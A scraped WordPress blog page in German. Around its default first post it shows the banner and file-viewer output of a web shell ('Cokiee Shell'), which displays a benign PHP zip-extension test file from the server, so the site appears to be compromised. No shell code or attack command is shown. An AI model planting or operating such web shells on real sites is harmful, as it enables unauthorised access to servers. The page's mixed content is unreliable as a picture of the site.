Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/ext/zip/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/ext/zip/tests/bug51353.phpt |
--TEST-- Bug #51353 ZIP64 problem, archive with 100000 items --SKIPIF-- <?php if(!extension_loaded('zip')) die('skip'); die('skip the test might get very long, activate it manually'); --FILE-- <?php /* This test might get very long depending on the mashine it's running on. Therefore adding an explicit skip, remove it to run this test. */ set_time_limit(0); $base_path = dirname(__FILE__); /* Either we ship a file with 100000 entries which would be >12M big, or create it dynamically. */ $zip = new ZipArchive; $r = $zip->open("$base_path/51353.zip", ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE); if ($r) { for ($i = 0; $i < 100000; $i++) { $zip->addFromString("$i.txt", '1'); } $zip->close(); } else { die("failed"); } $zip = new ZipArchive; $r = $zip->open("$base_path/51353.zip"); if ($r) { $zip->extractTo("$base_path/51353_unpack"); $zip->close(); $a = glob("$base_path/51353_unpack/*.txt"); echo count($a) . "\n"; } else { die("failed"); } echo "OK"; --CLEAN-- <?php $base_path = dirname(__FILE__); unlink("$base_path/51353.zip"); $a = glob("$base_path/51353_unpack/*.txt"); foreach($a as $f) { unlink($f); } rmdir("$base_path/51353_unpack"); --EXPECT-- 100000 OK
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare